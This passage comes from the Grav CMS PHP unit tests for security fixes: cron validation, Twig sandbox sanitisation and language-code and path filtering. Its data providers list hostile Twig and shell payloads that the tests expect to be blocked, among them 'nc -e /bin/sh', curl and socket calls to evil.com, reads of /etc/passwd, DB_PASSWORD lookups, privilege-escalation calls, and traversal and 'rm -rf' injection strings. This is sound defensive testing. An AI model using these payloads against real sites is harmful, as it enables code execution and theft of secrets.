|
||||
['0 9 * * 1-5', '9 AM weekdays'],
|
||||
['0 12 15 * *', 'Noon on 15th'],
|
||||
|
||||
// Ranges and steps
|
||||
['*/5 * * * *', 'Every 5 minutes'],
|
||||
['0 */2 * * *', 'Every 2 hours'],
|
||||
['0 0 */3 * *', 'Every 3 days'],
|
||||
['0 0 1 */2 *', 'Every 2 months'],
|
||||
|
||||
// Multiple values
|
||||
['0 9,17 * * *', '9 AM and 5 PM'],
|
||||
['0 0 1,15 * *', '1st and 15th'],
|
||||
['0 0 * * 0,6', 'Weekends'],
|
||||
|
||||
// Range expressions
|
||||
['0 9-17 * * *', '9 AM to 5 PM hourly'],
|
||||
['* * * 1-6 *', 'Jan through June'],
|
||||
['0 0 * * 1-5', 'Monday through Friday'],
|
||||
|
||||
// Day of week names (if supported by library)
|
||||
['0 0 * * SUN', 'Sunday by name'],
|
||||
['0 0 * * MON-FRI', 'Weekdays by name'],
|
||||
];
|
||||
}
|
||||
|
||||
public function testGetCronExpression_GHSAx62q_ReturnsNullForInvalid(): void
|
||||
{
|
||||
// Create a Job with an invalid cron expression
|
||||
$job = new Job('test_command');
|
||||
|
||||
// Use reflection to set the 'at' property to an invalid value
|
||||
$reflection = new ReflectionClass($job);
|
||||
$property = $reflection->getProperty('at');
|
||||
$property->setAccessible(true);
|
||||
$property->setValue($job, "'invalid");
|
||||
|
||||
// getCronExpression should return null instead of throwing
|
||||
$result = $job->getCronExpression();
|
||||
self::assertNull($result, 'getCronExpression should return null for invalid expression');
|
||||
}
|
||||
|
||||
public function testGetCronExpression_GHSAx62q_ReturnsCronExpressionForValid(): void
|
||||
{
|
||||
$job = new Job('test_command');
|
||||
|
||||
// Use reflection to set a valid cron expression
|
||||
$reflection = new ReflectionClass($job);
|
||||
$property = $reflection->getProperty('at');
|
||||
$property->setAccessible(true);
|
||||
$property->setValue($job, '* * * * *');
|
||||
|
||||
$result = $job->getCronExpression();
|
||||
self::assertNotNull($result, 'getCronExpression should return CronExpression for valid expression');
|
||||
self::assertInstanceOf(\Cron\CronExpression::class, $result);
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-gq3g-666w-7h85: Password Hash Exposure
|
||||
// These tests verify that sensitive fields are not exposed in serialization
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* Test that UserObject jsonSerialize filters sensitive fields
|
||||
* Note: This requires a more complex setup with Grav fixtures
|
||||
* For now, we verify the method exists and filters the expected fields
|
||||
*/
|
||||
public function testJsonSerialize_GHSAgq3g_MethodExists(): void
|
||||
{
|
||||
// Verify the UserObject class has the jsonSerialize override
|
||||
$reflection = new ReflectionClass(\Grav\Common\Flex\Types\Users\UserObject::class);
|
||||
|
||||
self::assertTrue(
|
||||
$reflection->hasMethod('jsonSerialize'),
|
||||
'UserObject should have jsonSerialize method'
|
||||
);
|
||||
|
||||
// Verify it's declared in UserObject (not just inherited)
|
||||
$method = $reflection->getMethod('jsonSerialize');
|
||||
self::assertEquals(
|
||||
\Grav\Common\Flex\Types\Users\UserObject::class,
|
||||
$method->getDeclaringClass()->getName(),
|
||||
'jsonSerialize should be declared in UserObject'
|
||||
);
|
||||
}
|
||||
|
||||
public function testJsonSerialize_GHSAgq3g_DataUserMethodExists(): void
|
||||
{
|
||||
// Verify the DataUser\User class has the jsonSerialize override
|
||||
$reflection = new ReflectionClass(\Grav\Common\User\DataUser\User::class);
|
||||
|
||||
self::assertTrue(
|
||||
$reflection->hasMethod('jsonSerialize'),
|
||||
'DataUser\\User should have jsonSerialize method'
|
||||
);
|
||||
|
||||
// Verify it's declared in User (not just inherited from Data)
|
||||
$method = $reflection->getMethod('jsonSerialize');
|
||||
self::assertEquals(
|
||||
\Grav\Common\User\DataUser\User::class,
|
||||
$method->getDeclaringClass()->getName(),
|
||||
'jsonSerialize should be declared in DataUser\\User'
|
||||
);
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Edge Cases
|
||||
// =========================================================================
|
||||
|
||||
public function testIsValidCronExpression_EdgeCase_WhitespaceHandling(): void
|
||||
{
|
||||
// Extra whitespace should not affect valid expressions
|
||||
// Note: behavior depends on the cron library
|
||||
self::assertTrue(Job::isValidCronExpression('0 0 * * *'), 'Standard spacing');
|
||||
|
||||
// Leading/trailing whitespace - depends on library
|
||||
// Just verify it doesn't throw
|
||||
$result = Job::isValidCronExpression(' * * * * * ');
|
||||
self::assertIsBool($result, 'Should return bool for whitespace-padded expression');
|
||||
}
|
||||
|
||||
public function testIsValidCronExpression_EdgeCase_SpecialCharacters(): void
|
||||
{
|
||||
// These should all be invalid due to special characters
|
||||
$specialChars = ['@', '#', '$', '%', '^', '&', '(', ')', '[', ']', '{', '}', '<', '>'];
|
||||
|
||||
foreach ($specialChars as $char) {
|
||||
self::assertFalse(
|
||||
Job::isValidCronExpression($char . ' * * * *'),
|
||||
"Should reject expression with special char: $char"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
458
tests/unit/Grav/Common/Security/CleanDangerousTwigTest.php
Normal file
458
tests/unit/Grav/Common/Security/CleanDangerousTwigTest.php
Normal file
@@ -0,0 +1,458 @@
|
||||
<?php
|
||||
|
||||
use Grav\Common\Security;
|
||||
|
||||
/**
|
||||
* Class CleanDangerousTwigTest
|
||||
*
|
||||
* Tests for Security::cleanDangerousTwig() method.
|
||||
* Covers SSTI sandbox fixes: GHSA-662m, GHSA-858q, GHSA-8535, GHSA-gjc5, GHSA-52hh
|
||||
*
|
||||
* Naming convention: test{Method}_{GHSA_ID}_{description}
|
||||
*/
|
||||
class CleanDangerousTwigTest extends \PHPUnit\Framework\TestCase
|
||||
{
|
||||
/**
|
||||
* Reset static cache before each test to ensure clean state
|
||||
*/
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
// Reset the static pattern cache using reflection
|
||||
$reflection = new ReflectionClass(Security::class);
|
||||
|
||||
$properties = [
|
||||
'dangerousTwigFunctionsPattern',
|
||||
'dangerousTwigPropertiesPattern',
|
||||
'dangerousFunctionCallsPattern',
|
||||
'dangerousJoinPattern'
|
||||
];
|
||||
|
||||
foreach ($properties as $prop) {
|
||||
if ($reflection->hasProperty($prop)) {
|
||||
$property = $reflection->getProperty($prop);
|
||||
$property->setAccessible(true);
|
||||
$property->setValue(null, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-662m-56v4-3r8f: SSTI sandbox bypass via nested evaluate_twig
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSA662m_NestedEvaluateTwig
|
||||
*/
|
||||
public function testCleanDangerousTwig_GHSA662m_BlocksNestedEvaluateTwig(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSA662m_NestedEvaluateTwig(): array
|
||||
{
|
||||
return [
|
||||
['{{ evaluate_twig("test") }}', 'Direct evaluate_twig call'],
|
||||
['{% set x = evaluate_twig(user_input) %}', 'evaluate_twig in set block'],
|
||||
['{{ evaluate("test") }}', 'evaluate function'],
|
||||
['{{ evaluate_twig(form.value("name")) }}', 'evaluate_twig with form value'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-858q-77wx-hhx6: Privilege escalation via grav.user/scheduler
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSA858q_PrivilegeEscalation
|
||||
*/
|
||||
public function testCleanDangerousTwig_GHSA858q_BlocksPrivilegeEscalation(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSA858q_PrivilegeEscalation(): array
|
||||
{
|
||||
return [
|
||||
// User modification attacks
|
||||
["{{ grav.user.update({'access':{'admin':{'super':true}}}) }}", 'grav.user.update privilege escalation'],
|
||||
['{{ grav.user.save() }}', 'grav.user.save call'],
|
||||
|
||||
// Scheduler RCE attacks
|
||||
['{{ grav.scheduler.addCommand("curl", ["http://evil.com"]) }}', 'scheduler.addCommand'],
|
||||
['{{ grav.scheduler.run() }}', 'scheduler.run'],
|
||||
['{{ grav.scheduler.save() }}', 'scheduler.save'],
|
||||
['{% set s = grav.scheduler %}', 'Direct scheduler access'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-8535-hvm8-2hmv: Context leak via _context access
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSA8535_ContextLeak
|
||||
*/
|
||||
public function testCleanDangerousTwig_GHSA8535_BlocksContextLeak(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSA8535_ContextLeak(): array
|
||||
{
|
||||
return [
|
||||
['{{ _context }}', 'Direct _context access'],
|
||||
['{{ _context|json_encode }}', '_context with filter'],
|
||||
['{% for key, value in _context %}{{ key }}{% endfor %}', '_context iteration'],
|
||||
['{{ _self }}', '_self access'],
|
||||
['{{ _charset }}', '_charset access'],
|
||||
['{{ dump(_context) }}', 'dump with _context'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-gjc5-8cfh-653x: Sandbox bypass via config.set
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSAgjc5_ConfigBypass
|
||||
*/
|
||||
public function testCleanDangerousTwig_GHSAgjc5_BlocksConfigBypass(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSAgjc5_ConfigBypass(): array
|
||||
{
|
||||
return [
|
||||
["{{ grav.config.set('system.twig.safe_functions', ['system']) }}", 'grav.config.set safe_functions'],
|
||||
["{{ grav.twig.twig_vars['config'] }}", 'twig_vars config access'],
|
||||
['{{ twig_vars["config"] }}', 'Direct twig_vars access'],
|
||||
["{{ something.safe_functions }}", '.safe_functions access'],
|
||||
["{{ something.safe_filters }}", '.safe_filters access'],
|
||||
["{{ x.undefined_functions }}", '.undefined_functions access'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-52hh-vxfw-p6rg: CVE-2024-28116 bypass via string concatenation
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSA52hh_StringConcatBypass
|
||||
*/
|
||||
public function testCleanDangerousTwig_GHSA52hh_BlocksStringConcatBypass(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSA52hh_StringConcatBypass(): array
|
||||
{
|
||||
// These test the specific suspicious fragments we check for in join() operations
|
||||
return [
|
||||
["{{ ['safe_func', 'tions']|join('') }}", 'join to construct safe_functions'],
|
||||
["{{ ['safe_filt', 'ers']|join }}", 'join to construct safe_filters'],
|
||||
["{{ ['_context', 'var']|join('') }}", 'join with _context fragment'],
|
||||
["{{ ['scheduler', '.run']|join('') }}", 'join with scheduler fragment'],
|
||||
["{{ ['registerUndefined', 'Callback']|join('') }}", 'join with registerUndefined fragment'],
|
||||
["{{ ['undefined_', 'functions']|join('') }}", 'join with undefined_ fragment'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Dangerous PHP Functions (Code Execution)
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerDangerousCodeExecution
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksCodeExecution(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerDangerousCodeExecution(): array
|
||||
{
|
||||
return [
|
||||
['{{ exec("whoami") }}', 'exec function'],
|
||||
['{{ shell_exec("ls") }}', 'shell_exec function'],
|
||||
['{{ system("id") }}', 'system function'],
|
||||
['{{ passthru("cat /etc/passwd") }}', 'passthru function'],
|
||||
['{{ popen("nc -e /bin/sh", "r") }}', 'popen function'],
|
||||
['{{ proc_open("sh", [], $pipes) }}', 'proc_open function'],
|
||||
['{{ pcntl_exec("/bin/sh") }}', 'pcntl_exec function'],
|
||||
['{{ eval("phpinfo();") }}', 'eval function'],
|
||||
['{{ assert("system(\'id\')") }}', 'assert function'],
|
||||
['{{ create_function("", "system(\'id\');") }}', 'create_function'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Dangerous PHP Functions (File Operations)
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerDangerousFileOperations
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksFileOperations(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerDangerousFileOperations(): array
|
||||
{
|
||||
return [
|
||||
['{{ file_get_contents("/etc/passwd") }}', 'file_get_contents'],
|
||||
['{{ file_put_contents("/tmp/x", "data") }}', 'file_put_contents'],
|
||||
['{{ fopen("/etc/passwd", "r") }}', 'fopen'],
|
||||
['{{ readfile("/etc/passwd") }}', 'readfile'],
|
||||
['{{ unlink("/important/file") }}', 'unlink'],
|
||||
['{{ rmdir("/important/dir") }}', 'rmdir'],
|
||||
['{{ mkdir("/tmp/evil") }}', 'mkdir'],
|
||||
['{{ chmod("/tmp/file", 0777) }}', 'chmod'],
|
||||
['{{ copy("/etc/passwd", "/tmp/passwd") }}', 'copy'],
|
||||
['{{ rename("/tmp/a", "/tmp/b") }}', 'rename'],
|
||||
['{{ symlink("/etc/passwd", "/tmp/link") }}', 'symlink'],
|
||||
['{{ glob("/etc/*") }}', 'glob'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Dangerous PHP Functions (Network/SSRF)
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerDangerousNetwork
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksNetworkFunctions(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerDangerousNetwork(): array
|
||||
{
|
||||
return [
|
||||
['{{ curl_init("http://evil.com") }}', 'curl_init'],
|
||||
['{{ curl_exec($ch) }}', 'curl_exec'],
|
||||
['{{ fsockopen("evil.com", 80) }}', 'fsockopen'],
|
||||
['{{ pfsockopen("evil.com", 80) }}', 'pfsockopen'],
|
||||
['{{ socket_create(AF_INET, SOCK_STREAM, 0) }}', 'socket_create'],
|
||||
['{{ stream_socket_client("tcp://evil.com:80") }}', 'stream_socket_client'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Dangerous PHP Functions (Information Disclosure)
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerInfoDisclosure
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksInfoDisclosure(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerInfoDisclosure(): array
|
||||
{
|
||||
return [
|
||||
['{{ phpinfo() }}', 'phpinfo'],
|
||||
['{{ getenv("DB_PASSWORD") }}', 'getenv'],
|
||||
['{{ get_defined_vars() }}', 'get_defined_vars'],
|
||||
['{{ get_defined_functions() }}', 'get_defined_functions'],
|
||||
['{{ ini_get("open_basedir") }}', 'ini_get'],
|
||||
['{{ php_uname() }}', 'php_uname'],
|
||||
['{{ phpversion() }}', 'phpversion'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Twig Environment Manipulation
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerTwigEnvironmentManipulation
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksTwigEnvironmentManipulation(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerTwigEnvironmentManipulation(): array
|
||||
{
|
||||
return [
|
||||
['{{ grav.twig.twig.registerUndefinedFunctionCallback("system") }}', 'registerUndefinedFunctionCallback'],
|
||||
['{{ twig.twig }}', 'Direct twig.twig access'],
|
||||
['{{ grav.twig.twig }}', 'grav.twig.twig access'],
|
||||
['{{ twig.getFunction("x") }}', 'twig.getFunction'],
|
||||
['{{ twig.addFunction(func) }}', 'twig.addFunction'],
|
||||
['{{ twig.setLoader(loader) }}', 'twig.setLoader'],
|
||||
['{{ core.setEscaper("html", callback) }}', 'core.setEscaper'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Serialization (Object Injection)
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerSerialization
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksSerialization(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerSerialization(): array
|
||||
{
|
||||
return [
|
||||
['{{ unserialize(user_input) }}', 'unserialize'],
|
||||
['{{ serialize(object) }}', 'serialize'],
|
||||
['{{ var_export(data, true) }}', 'var_export'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Callback Functions
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerCallbackFunctions
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksCallbackFunctions(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerCallbackFunctions(): array
|
||||
{
|
||||
return [
|
||||
['{{ call_user_func("system", "id") }}', 'call_user_func'],
|
||||
['{{ call_user_func_array("system", ["id"]) }}', 'call_user_func_array'],
|
||||
['{{ array_map("system", ["id"]) }}', 'array_map with callback'],
|
||||
['{{ array_filter(arr, "system") }}', 'array_filter with callback'],
|
||||
['{{ usort(arr, "system") }}', 'usort with callback'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Grav-specific Dangerous Access
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGravDangerousAccess
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksGravDangerousAccess(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerGravDangerousAccess(): array
|
||||
{
|
||||
return [
|
||||
['{{ grav.backups }}', 'grav.backups access'],
|
||||
['{{ grav.gpm }}', 'grav.gpm access'],
|
||||
['{{ grav.plugins.get("admin") }}', 'grav.plugins.get'],
|
||||
['{{ grav.themes.get("quark") }}', 'grav.themes.get'],
|
||||
['{{ session.set("admin", true) }}', 'session.set'],
|
||||
['{{ cache.clear() }}', 'cache.clear'],
|
||||
['{{ cache.delete("key") }}', 'cache.delete'],
|
||||
['{{ obj.setProperty("key", "value") }}', 'setProperty'],
|
||||
['{{ obj.setNestedProperty("a.b", "c") }}', 'setNestedProperty'],
|
||||
['{{ grav.locator.findResource("user://", true) }}', 'findResource write mode'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Performance: Early Exit Tests
|
||||
// =========================================================================
|
||||
|
||||
public function testCleanDangerousTwig_EarlyExitEmptyString(): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig('');
|
||||
self::assertSame('', $result);
|
||||
}
|
||||
|
||||
public function testCleanDangerousTwig_EarlyExitNoTwigBlocks(): void
|
||||
{
|
||||
$plainText = 'This is just plain text without any Twig syntax.';
|
||||
$result = Security::cleanDangerousTwig($plainText);
|
||||
self::assertSame($plainText, $result, 'Plain text should pass through unchanged');
|
||||
}
|
||||
|
||||
public function testCleanDangerousTwig_EarlyExitHtmlOnly(): void
|
||||
{
|
||||
$html = '<div class="container"><h1>Hello World</h1><p>Some content here.</p></div>';
|
||||
$result = Security::cleanDangerousTwig($html);
|
||||
self::assertSame($html, $result, 'HTML without Twig should pass through unchanged');
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Safe Patterns (Should NOT be blocked)
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerSafePatterns
|
||||
*/
|
||||
public function testCleanDangerousTwig_AllowsSafePatterns(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringNotContainsString('{# BLOCKED:', $result, "Should NOT block: $description");
|
||||
}
|
||||
|
||||
public static function providerSafePatterns(): array
|
||||
{
|
||||
return [
|
||||
['{{ page.title }}', 'Page title access'],
|
||||
['{{ page.content }}', 'Page content access'],
|
||||
['{{ grav.config.get("site.title") }}', 'Config get (read only)'],
|
||||
['{{ uri.path }}', 'URI path'],
|
||||
['{% for item in collection %}{{ item.title }}{% endfor %}', 'Normal loop'],
|
||||
['{{ "hello"|upper }}', 'String filter'],
|
||||
['{{ date("Y-m-d") }}', 'Date function'],
|
||||
['{{ dump(page) }}', 'Dump for debugging'],
|
||||
['{% if page.visible %}show{% endif %}', 'Conditional'],
|
||||
['{{ page.media.images }}', 'Media access'],
|
||||
['{{ grav.version }}', 'Grav version'],
|
||||
['{{ page.route }}', 'Page route'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Pattern Caching Tests
|
||||
// =========================================================================
|
||||
|
||||
public function testCleanDangerousTwig_PatternCaching(): void
|
||||
{
|
||||
// First call should build patterns
|
||||
$result1 = Security::cleanDangerousTwig('{{ exec("test") }}');
|
||||
|
||||
// Second call should use cached patterns
|
||||
$result2 = Security::cleanDangerousTwig('{{ system("test") }}');
|
||||
|
||||
// Both should be blocked
|
||||
self::assertStringContainsString('{# BLOCKED:', $result1);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result2);
|
||||
|
||||
// Verify patterns are cached using reflection
|
||||
$reflection = new ReflectionClass(Security::class);
|
||||
$property = $reflection->getProperty('dangerousTwigFunctionsPattern');
|
||||
$property->setAccessible(true);
|
||||
$cachedPattern = $property->getValue();
|
||||
|
||||
self::assertNotNull($cachedPattern, 'Pattern should be cached after first call');
|
||||
}
|
||||
}
|
||||
227
tests/unit/Grav/Common/Security/FilePathSecurityTest.php
Normal file
227
tests/unit/Grav/Common/Security/FilePathSecurityTest.php
Normal file
@@ -0,0 +1,227 @@
|
||||
<?php
|
||||
|
||||
use Codeception\Util\Fixtures;
|
||||
use Grav\Common\Grav;
|
||||
use Grav\Common\Language\Language;
|
||||
|
||||
/**
|
||||
* Class FilePathSecurityTest
|
||||
*
|
||||
* Tests for file path and language security fixes.
|
||||
* Covers: GHSA-p4ww-mcp9-j6f2 (file read), GHSA-m8vh-v6r6-w7p6 (language DoS), GHSA-j422-qmxp-hv94 (backup traversal)
|
||||
*
|
||||
* Naming convention: test{Method}_{GHSA_ID}_{description}
|
||||
*/
|
||||
class FilePathSecurityTest extends \PHPUnit\Framework\TestCase
|
||||
{
|
||||
/** @var Grav */
|
||||
protected $grav;
|
||||
|
||||
/** @var Language */
|
||||
protected $language;
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
$grav = Fixtures::get('grav');
|
||||
$this->grav = $grav();
|
||||
$this->language = new Language($this->grav);
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-m8vh-v6r6-w7p6: DoS via Language Regex Injection
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSAm8vh_InvalidLanguageCodes
|
||||
*/
|
||||
public function testSetLanguages_GHSAm8vh_FiltersInvalidLanguageCodes(string $lang, string $description): void
|
||||
{
|
||||
$this->language->setLanguages([$lang]);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
self::assertNotContains($lang, $languages, "Should filter invalid language code: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSAm8vh_InvalidLanguageCodes(): array
|
||||
{
|
||||
return [
|
||||
// Regex injection attempts
|
||||
["'", 'Single quote (regex breaker)'],
|
||||
['"', 'Double quote'],
|
||||
['/', 'Forward slash (regex delimiter)'],
|
||||
['\\', 'Backslash'],
|
||||
['()', 'Empty parentheses'],
|
||||
['.*', 'Regex wildcard'],
|
||||
['.+', 'Regex one-or-more'],
|
||||
['[a-z]', 'Regex character class'],
|
||||
['en|rm -rf', 'Pipe with command'],
|
||||
['(?=)', 'Regex lookahead'],
|
||||
|
||||
// Path traversal in language
|
||||
['../en', 'Path traversal'],
|
||||
['en/../../etc', 'Nested path traversal'],
|
||||
|
||||
// Special characters
|
||||
['en;', 'Semicolon'],
|
||||
['en<script>', 'HTML tag'],
|
||||
['en${PATH}', 'Shell variable'],
|
||||
["en\nfr", 'Newline injection'],
|
||||
["en\0fr", 'Null byte injection'],
|
||||
|
||||
// Too short/long
|
||||
['e', 'Single character (too short)'],
|
||||
['englishlanguage', 'Too long without separator'],
|
||||
|
||||
// Invalid format
|
||||
['123', 'All numbers'],
|
||||
['en-', 'Trailing hyphen'],
|
||||
['-en', 'Leading hyphen'],
|
||||
['en--US', 'Double hyphen'],
|
||||
['en_', 'Trailing underscore'],
|
||||
['_en', 'Leading underscore'],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSAm8vh_ValidLanguageCodes
|
||||
*/
|
||||
public function testSetLanguages_GHSAm8vh_AllowsValidLanguageCodes(string $lang, string $description): void
|
||||
{
|
||||
$this->language->setLanguages([$lang]);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
self::assertContains($lang, $languages, "Should allow valid language code: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSAm8vh_ValidLanguageCodes(): array
|
||||
{
|
||||
return [
|
||||
// Standard ISO 639-1 codes
|
||||
['en', 'English'],
|
||||
['fr', 'French'],
|
||||
['de', 'German'],
|
||||
['es', 'Spanish'],
|
||||
['zh', 'Chinese'],
|
||||
['ja', 'Japanese'],
|
||||
['ru', 'Russian'],
|
||||
['ar', 'Arabic'],
|
||||
['pt', 'Portuguese'],
|
||||
['it', 'Italian'],
|
||||
|
||||
// ISO 639-2 three-letter codes
|
||||
['eng', 'English (3-letter)'],
|
||||
['fra', 'French (3-letter)'],
|
||||
['deu', 'German (3-letter)'],
|
||||
|
||||
// Language with region (hyphen)
|
||||
['en-US', 'English (US)'],
|
||||
['en-GB', 'English (UK)'],
|
||||
['pt-BR', 'Portuguese (Brazil)'],
|
||||
['zh-CN', 'Chinese (Simplified)'],
|
||||
['zh-TW', 'Chinese (Traditional)'],
|
||||
|
||||
// Language with region (underscore)
|
||||
['en_US', 'English (US) underscore'],
|
||||
['pt_BR', 'Portuguese (Brazil) underscore'],
|
||||
|
||||
// Extended subtags
|
||||
['zh-Hans', 'Chinese Simplified script'],
|
||||
['zh-Hant', 'Chinese Traditional script'],
|
||||
['sr-Latn', 'Serbian Latin script'],
|
||||
['sr-Cyrl', 'Serbian Cyrillic script'],
|
||||
];
|
||||
}
|
||||
|
||||
public function testSetLanguages_GHSAm8vh_FiltersMultipleMixedCodes(): void
|
||||
{
|
||||
$input = ['en', '../etc', 'fr', '.*', 'de-DE', 'invalid!', 'es'];
|
||||
$this->language->setLanguages($input);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
self::assertContains('en', $languages);
|
||||
self::assertContains('fr', $languages);
|
||||
self::assertContains('de-DE', $languages);
|
||||
self::assertContains('es', $languages);
|
||||
|
||||
self::assertNotContains('../etc', $languages);
|
||||
self::assertNotContains('.*', $languages);
|
||||
self::assertNotContains('invalid!', $languages);
|
||||
}
|
||||
|
||||
public function testSetLanguages_GHSAm8vh_HandlesEmptyArray(): void
|
||||
{
|
||||
$this->language->setLanguages([]);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
self::assertIsArray($languages);
|
||||
self::assertEmpty($languages);
|
||||
}
|
||||
|
||||
public function testSetLanguages_GHSAm8vh_HandlesNumericValues(): void
|
||||
{
|
||||
// Numeric values cast to string should be filtered as invalid
|
||||
$this->language->setLanguages([123, 456]);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
// Numeric strings are not valid language codes
|
||||
self::assertNotContains('123', $languages);
|
||||
self::assertNotContains('456', $languages);
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-m8vh-v6r6-w7p6: Regex Delimiter Escaping Test
|
||||
// =========================================================================
|
||||
|
||||
public function testGetAvailable_GHSAm8vh_ProperlyEscapesForRegex(): void
|
||||
{
|
||||
// Set some valid languages
|
||||
$this->language->setLanguages(['en', 'fr', 'de']);
|
||||
|
||||
// Get with regex delimiter - should be properly escaped
|
||||
$available = $this->language->getAvailable('/');
|
||||
|
||||
// The result should be usable in a regex without breaking
|
||||
$pattern = '/^(' . $available . ')$/';
|
||||
|
||||
// This should not throw a preg error
|
||||
$result = @preg_match($pattern, 'en');
|
||||
self::assertNotFalse($result, 'Pattern should be valid regex');
|
||||
